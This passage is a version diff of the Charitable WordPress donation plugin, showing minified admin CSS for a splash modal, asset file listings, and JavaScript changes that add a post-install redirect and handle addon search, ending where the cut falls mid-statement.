header h2{color:#1d2327;font-size:24px;font-weight:700;margin:0 0 5px}#charitable-splash-modal header img{max-width:80px!important;max-height:80px;border:4px solid #fff;border-radius:40px;box-shadow:0 5px 15px rgba(0,0,0,.05);min-height:70px}#charitable-splash-modal main .charitable-splash-section{display:flex;align-items:center;gap:50px;margin-bottom:75px;padding:0 120px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-badge{border-radius:3px;background-color:#edfaef;padding:8px 10px;color:#00ba37;text-align:center;font-size:10px;font-weight:700;line-height:10px;letter-spacing:.5px;text-transform:uppercase;cursor:default}#charitable-splash-modal main .charitable-splash-section h3{color:#1d2327;font-size:28px;font-weight:500;line-height:36px;margin:15px 0 10px}#charitable-splash-modal main .charitable-splash-section p{line-height:25px!important;opacity:.9}#charitable-splash-modal main .charitable-splash-section ul{list-style:revert;margin-left:2em}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons{display:flex;align-items:flex-start;gap:20px;margin-top:20px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons .charitable-btn{padding:10px 15px;font-size:14px;line-height:normal;font-weight:500}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-content{text-align:left!important;flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{flex:2;text-align:right!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:end!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content{flex:2;text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content{order:revert}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{flex:0 0 auto;align-self:center;justify-self:center}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image img{max-width:100%;height:auto}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-apply img{box-shadow:0 15px 50px 0 rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-yes img{max-width:calc(100% + 60px);margin:-18px 0 -38px -30px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width{flex-direction:column;align-items:center;gap:0;text-align:center;padding:0}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{flex:revert;order:revert}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{width:fit-content;background-color:#f6f7f7;padding:50px 100px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content .charitable-splash-badge{background-color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content h3{font-size:32px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{width:100%;background:linear-gradient(180deg,#f6f7f7 50%,#fff 50%)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image img{max-width:760px;padding:10px;background:#fff;border-radius:9px;box-shadow:0 15px 50px rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-buttons{justify-content:center}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width h3{margin-top:20px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width p{font-size:18px!important;line-height:28px!important}#charitable-splash-modal footer{display:flex;padding:50px 100px;align-items:center;gap:50px;background:#2c3338;box-shadow:0 2px 4px 0 rgba(0,0,0,.05)}#charitable-splash-modal footer .charitable-splash-footer-content{text-align:left!important}#charitable-splash-modal footer h2{margin:0 0 10px;color:#fff;font-size:28px;font-weight:500;line-height:36px}#charitable-splash-modal footer a{padding:11px 17px;font-size:16px;font-weight:500}#charitable-splash-modal footer p{color:rgba(255,255,255,.8)!important;line-height:25px!important;opacity:.9}#charitable-splash-modal .charitable-btn{border:1px;border-style:solid;border-radius:4px;cursor:pointer;display:inline-block;margin:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none}#charitable-splash-modal .charitable-btn.inactive{cursor:no-drop;pointer-events:none;box-shadow:none;opacity:.5}#charitable-splash-modal .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}#charitable-splash-modal .charitable-btn-orange:active,#charitable-splash-modal .charitable-btn-orange:focus,#charitable-splash-modal .charitable-btn-orange:hover{background-color:#cd6622;border-color:#cd6622;color:#fff}#charitable-splash-modal .charitable-btn-orange:focus{box-shadow:0 0 0 2px #cd6622;border-color:#fff;outline:0}#charitable-splash-modal .charitable-btn-bordered{background-color:#fff;color:#50575e;border-color:#8c8f94}#charitable-splash-modal .charitable-btn-bordered:focus,#charitable-splash-modal .charitable-btn-bordered:hover{color:#2c3338;border-color:#50575e}#charitable-splash-modal .charitable-btn-bordered:focus{background-color:#fff;box-shadow:0 0 0 1px #50575e;outline:0}#charitable-splash-modal .charitable-btn-green{background-color:#008a20;color:#fff;border-color:#008a20}#charitable-splash-modal .charitable-btn-green:focus,#charitable-splash-modal .charitable-btn-green:hover{background-color:#00a32a;color:#fff}body.charitable-splash-modal{overflow:hidden;margin-right:var(--charitable-body-scrollbar-width)}body.charitable-splash-modal #wpadminbar{width:calc(100vw - var(--charitable-body-scrollbar-width))}body.charitable-splash-modal .jconfirm{overflow:hidden;bottom:revert;min-height:100vh;backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px)}body.charitable-splash-modal .jconfirm .jconfirm-cell{vertical-align:top;overflow-y:auto;max-height:100vh;height:100vh;display:flex;justify-content:center;align-items:center}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.05);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell{scrollbar-color:rgba(0,0,0,0.05) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.3);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell:hover{scrollbar-color:rgba(0,0,0,0.3) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell .jc-bs3-container{padding-bottom:50px}body.charitable-splash-modal .jconfirm .jconfirm-cell .jconfirm-holder{width:100%;padding:0!important}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-bg{position:sticky;height:100%}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-scrollpane{margin-top:-100vh}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-bg{background-color:#72777c;opacity:.75}body.charitable-splash-modal .jconfirm-box{max-width:1000px;width:100%!important}body.charitable-splash-modal .jconfirm-box-container{opacity:0;padding:0 50px}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box{border-radius:12px;box-shadow:0 15px 50px rgba(0,0,0,.15)}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{padding:0;transition-duration:initial!important}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-box div.jconfirm-content{text-align:revert}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:0;max-height:none!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#50575e;font-size:16px;font-weight:400;line-height:22px;margin-block:0}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{top:20px!important;right:20px!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{font-size:20px}@media screen and (max-width:1024px){#charitable-splash-modal footer,#charitable-splash-modal header{padding:50px}#charitable-splash-modal main .charitable-splash-section{padding:0 50px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{padding:50px}}@media screen and (max-width:768px){body.charitable-splash-modal .jconfirm{display:none}} \ No newline at end of file +body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{max-width:1000px}body.charitable-splash-modal.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:0!important;width:100%!important}#charitable-splash-modal header{display:flex;align-items:center;gap:30px;padding:50px 100px;background:linear-gradient(180deg,#f6f7f7 0,rgba(246,247,247,0) 100%)}#charitable-splash-modal header .charitable-splash-header-content{text-align:left!important}#charitable-splash-modal header h2{color:#1d2327;font-size:24px;font-weight:700;margin:0 0 5px}#charitable-splash-modal header img{max-width:80px!important;max-height:80px;border:4px solid #fff;border-radius:40px;box-shadow:0 5px 15px rgba(0,0,0,.05);min-height:70px}#charitable-splash-modal main .charitable-splash-section{display:flex;align-items:center;gap:50px;margin-bottom:75px;padding:0 120px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-badge{border-radius:3px;background-color:#edfaef;padding:8px 10px;color:#00ba37;text-align:center;font-size:10px;font-weight:700;line-height:10px;letter-spacing:.5px;text-transform:uppercase;cursor:default}#charitable-splash-modal main .charitable-splash-section h3{color:#1d2327;font-size:28px;font-weight:500;line-height:36px;margin:15px 0 10px}#charitable-splash-modal main .charitable-splash-section p{line-height:25px!important;opacity:.9}#charitable-splash-modal main .charitable-splash-section ul{list-style:revert;margin-left:2em}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons{display:flex;align-items:flex-start;gap:20px;margin-top:20px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons .charitable-btn{padding:10px 15px;font-size:14px;line-height:normal;font-weight:500}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-content{text-align:left!important;flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{flex:2;text-align:right!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:end!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content{flex:2;text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content{order:revert}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{flex:0 0 auto;align-self:center;justify-self:center}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image img{max-width:100%;height:auto}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-apply img{box-shadow:0 15px 50px 0 rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-yes img{max-width:calc(100% + 60px);margin:-18px 0 -38px -30px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width{flex-direction:column;align-items:center;gap:0;text-align:center;padding:0}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{flex:revert;order:revert}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{width:fit-content;background-color:#f6f7f7;padding:50px 100px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content .charitable-splash-badge{background-color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content h3{font-size:32px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{width:100%;background:linear-gradient(180deg,#f6f7f7 50%,#fff 50%)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image img{max-width:760px;padding:10px;background:#fff;border-radius:9px;box-shadow:0 15px 50px rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-buttons{justify-content:center}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width h3{margin-top:20px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width p{font-size:18px!important;line-height:28px!important}#charitable-splash-modal footer{display:flex;padding:50px 100px;align-items:center;gap:50px;background:#2c3338;box-shadow:0 2px 4px 0 rgba(0,0,0,.05)}#charitable-splash-modal footer .charitable-splash-footer-content{text-align:left!important}#charitable-splash-modal footer h2{margin:0 0 10px;color:#fff;font-size:28px;font-weight:500;line-height:36px}#charitable-splash-modal footer a{padding:11px 17px;font-size:16px;font-weight:500}#charitable-splash-modal footer p{color:rgba(255,255,255,.8)!important;line-height:25px!important;opacity:.9}#charitable-splash-modal .charitable-btn{border:1px;border-style:solid;border-radius:4px;cursor:pointer;display:inline-block;margin:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none}#charitable-splash-modal .charitable-btn.inactive{cursor:no-drop;pointer-events:none;box-shadow:none;opacity:.5}#charitable-splash-modal .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}#charitable-splash-modal .charitable-btn-orange:active,#charitable-splash-modal .charitable-btn-orange:focus,#charitable-splash-modal .charitable-btn-orange:hover{background-color:#cd6622;border-color:#cd6622;color:#fff}#charitable-splash-modal .charitable-btn-orange:focus{box-shadow:0 0 0 2px #cd6622;border-color:#fff;outline:0}#charitable-splash-modal .charitable-btn-bordered{background-color:#fff;color:#50575e;border-color:#8c8f94}#charitable-splash-modal .charitable-btn-bordered:focus,#charitable-splash-modal .charitable-btn-bordered:hover{color:#2c3338;border-color:#50575e}#charitable-splash-modal .charitable-btn-bordered:focus{background-color:#fff;box-shadow:0 0 0 1px #50575e;outline:0}#charitable-splash-modal .charitable-btn-green{background-color:#008a20;color:#fff;border-color:#008a20}#charitable-splash-modal .charitable-btn-green:focus,#charitable-splash-modal .charitable-btn-green:hover{background-color:#00a32a;color:#fff}body.charitable-splash-modal{overflow:hidden;margin-right:var(--charitable-body-scrollbar-width)}body.charitable-splash-modal #wpadminbar{width:calc(100vw - var(--charitable-body-scrollbar-width))}body.charitable-splash-modal .jconfirm{overflow:hidden;bottom:revert;min-height:100vh;backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px)}body.charitable-splash-modal .jconfirm .jconfirm-cell{vertical-align:top;overflow-y:auto;max-height:100vh;height:100vh;display:flex;justify-content:center;align-items:center}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.05);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell{scrollbar-color:rgba(0,0,0,0.05) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.3);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell:hover{scrollbar-color:rgba(0,0,0,0.3) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell .jc-bs3-container{padding-bottom:50px}body.charitable-splash-modal .jconfirm .jconfirm-cell .jconfirm-holder{width:100%;padding:0!important}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-bg{position:sticky;height:100%}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-scrollpane{margin-top:-100vh}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-bg{background-color:#72777c;opacity:.75}body.charitable-splash-modal .jconfirm-box{max-width:1000px;width:100%!important}body.charitable-splash-modal .jconfirm-box-container{opacity:0;padding:0 50px}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box{border-radius:12px;box-shadow:0 15px 50px rgba(0,0,0,.15)}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{padding:0;transition-duration:initial!important}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-box div.jconfirm-content{text-align:revert}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:0;max-height:none!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#50575e;font-size:16px;font-weight:400;line-height:22px;margin-block:0}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{top:20px!important;right:20px!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{font-size:20px}@media screen and (max-width:1024px){#charitable-splash-modal footer,#charitable-splash-modal header{padding:50px}#charitable-splash-modal main .charitable-splash-section{padding:0 50px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{padding:50px}}@media screen and (max-width:768px){body.charitable-splash-modal .jconfirm{display:none}}#charitable-splash-modal header{padding:50px 40px;background:#2c3338;color:#fff}#charitable-splash-modal header h2{color:#fff}#charitable-splash-modal header .charitable-splash-header-content p{color:rgba(255,255,255,.7)}#charitable-splash-modal main .charitable-splash-section{margin-bottom:0;padding:40px;border-bottom:1px solid #ccc}#charitable-splash-modal main .charitable-splash-section:last-child{border-bottom:none}#charitable-splash-modal main .charitable-splash-section:first-child{background:#2c3338;padding:0 40px 40px 40px;margin-bottom:0;border-bottom:none}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content h3{color:#fff}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content p{color:rgba(255,255,255,.7)}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-badge{background-color:rgba(255,255,255,.15);color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-image{order:revert}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap{width:100%}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed{position:relative;width:100%;padding-top:56.25%;border-radius:6px;overflow:hidden;background:#000}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed iframe{position:absolute;top:0;left:0;width:100%;height:100%;border:0}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video{display:block;width:100%;border-radius:6px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video::-webkit-media-controls{opacity:0;transition:opacity .2s ease}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap:hover video::-webkit-media-controls{opacity:1}#charitable-splash-modal main .charitable-splash-section-more-features{display:block;padding:30px 40px 40px;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features h3{font-size:18px;font-weight:600;color:#1d2327;margin:0 15px 15px 0!important;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list{display:grid;grid-template-columns:1fr 1fr;gap:8px 30px;list-style:none;padding:0;margin:0;color:#acacac;font-size:16px;font-weight:400;line-height:22px;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list li{margin:0;text-align:left;list-style:none}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#acacac} \ No newline at end of file Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/addons: addon-icon-campaign-updates.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/addons: addon-icon-pro.svg Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/icons: panel_form.svg Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-10-import-tools.svg Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-13-campaign-showcase.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-13-donate-feed.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-13-featured-image.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-13-modal-button.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-13-prefill-forms.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.4/assets/images/splash: 1-8-9-security.png Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/assets/images/splash: 1-8-9-security.svg @@ -450,6 +450,17 @@ CharitableDirAdmin.setAddonState( plugin, state, pluginType, function( res ) { if ( res.success ) { + + // Server may include a `redirect` URL when the just-completed + // action should navigate the admin somewhere new (e.g. installing + // Charitable Pro auto-deactivates Lite, so we send the user to the + // Charitable dashboard rather than letting them land on the + // no-longer-existing Lite Addons screen). + if ( res.data && 'object' === typeof res.data && res.data.redirect ) { + window.location.href = res.data.redirect; + return; + } + if ( 'install' === state ) { $btn.attr( 'data-plugin', res.data.basename ); successText = res.data.msg; @@ -1 +1 @@ -(function($){"use strict";var s;var CharitableDirAdmin={settings:{iconActivate:"",iconDeactivate:"",iconInstall:"",iconSpinner:"Standby...",mediaFrame:false},init:function(){s=this.settings;$(CharitableDirAdmin.ready);$(document).on("CharitableDirReady",CharitableDirAdmin.initAddons)},ready:function(){$(document).trigger("CharitableDirReady");if($("#charitable-admin-addons-search").val()){$("#charitable-admin-addons-search").trigger("keyup")}},initAddons:function(){if(!$("#charitable-admin-addons").length){return}function setup_addon_sections(){function setCookie(name,value,days){var expires="";if(days){var date=new Date;date.setTime(date.getTime()+days*24*60*60*1e3);expires="; expires="+date.toUTCString()}document.cookie=name+"="+(value||"")+expires+"; path=/"}function getCookie(name){var nameEQ=name+"=";var ca=document.cookie.split(";");for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==" ")c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)}return null}var $collapsible_headers=$(".charitable-addons-section-header:not(.charitable-addons-section-header-featured)");var open_sections=getCookie("charitable_open_addon_sections");open_sections=open_sections?JSON.parse(open_sections):[];var featured_index=open_sections.indexOf("featured");if(featured_index>-1){open_sections.splice(featured_index,1);setCookie("charitable_open_addon_sections",JSON.stringify(open_sections),7)}$collapsible_headers.each(function(){var section_id=$(this).data("section");if(open_sections.includes(section_id)){$(this).addClass("open");$("#charitable-addons-"+section_id).show()}});$collapsible_headers.on("click",function(){var section_id=$(this).data("section");var content=$("#charitable-addons-"+section_id);var open_sections=getCookie("charitable_open_addon_sections");open_sections=open_sections?JSON.parse(open_sections):[];$(this).toggleClass("open");content.slideToggle();if($(this).hasClass("open")){if(!open_sections.includes(section_id)){open_sections.push(section_id)}}else{var index=open_sections.indexOf(section_id);if(index>-1){open_sections.splice(index,1)}}setCookie("charitable_open_addon_sections",JSON.stringify(open_sections),7)})}setup_addon_sections();if($("#charitable-addons").length){$("#charitable-admin-addons-search").on("keyup search input",function(){CharitableDirAdmin.updateAddonSearchResult(this)});$("#charitable-admin-addons-search").on("input",function(){var searchTerm=$(this).val();if(searchTerm){sessionStorage.setItem("charitable_addons_search",searchTerm)}else{sessionStorage.removeItem("charitable_addons_search")}});var savedSearch=sessionStorage.getItem("charitable_addons_search");if(savedSearch){$("#charitable-admin-addons-search").val(savedSearch).trigger("keyup")}}$(document).on("click","#charitable-admin-addons .charitable-addons-list-item button",function(event){event.preventDefault();if($(this).hasClass("disabledd6")){return false}CharitableDirAdmin.addonToggle($(this))})},updateAddonSearchResult:function(searchField){var searchTerm=$(searchField).val();searchTerm=searchTerm.replace(/[.,]/g," ");CharitableDirAdmin.performCustomSearch(searchTerm);CharitableDirAdmin.highlightSearchTerms(searchTerm)},performCustomSearch:function(searchTerm){var $allAddonItems=$("#charitable-addons .charitable-addons-list-item");var searchWords=searchTerm.toLowerCase().split(" ").filter(function(word){return word.length>0});if(searchWords.length===0){$allAddonItems.show();$(".charitable-addons-section").show();return}var hasVisibleItems=false;$allAddonItems.each(function(){var $item=$(this);var $title=$item.find(".addon-link");var $description=$item.find(".addon-description");var titleText=$title.text().toLowerCase();var descriptionText=$description.text().toLowerCase();var matches=false;searchWords.forEach(function(word){if(titleText.indexOf(word)!==-1||descriptionText.indexOf(word)!==-1){matches=true}});if(matches){$item.show();hasVisibleItems=true}else{$item.hide()}});$(".charitable-addons-section").each(function(){var $section=$(this);var $visibleItems=$section.find(".charitable-addons-list-item:visible");if($visibleItems.length>0){$section.show();$section.find(".charitable-addons-section-content").show();$section.find(".charitable-addons-section-header").addClass("open")}else{$section.hide()}})},highlightSearchTerms:function(searchTerm){if(!searchTerm){$(".addon-link, .addon-description").each(function(){var $element=$(this);$element.html($element.text())});return}var searchWords=searchTerm.toLowerCase().split(" ").filter(function(word){return word.length>0});if(searchWords.length===0){return}$(".charitable-addons-list-item:visible .addon-link, .charitable-addons-list-item:visible .addon-description").each(function(){var $element=$(this);var originalText=$element.text();var highlightedText=originalText;searchWords.forEach(function(word){if(word.length>0){var regex=new 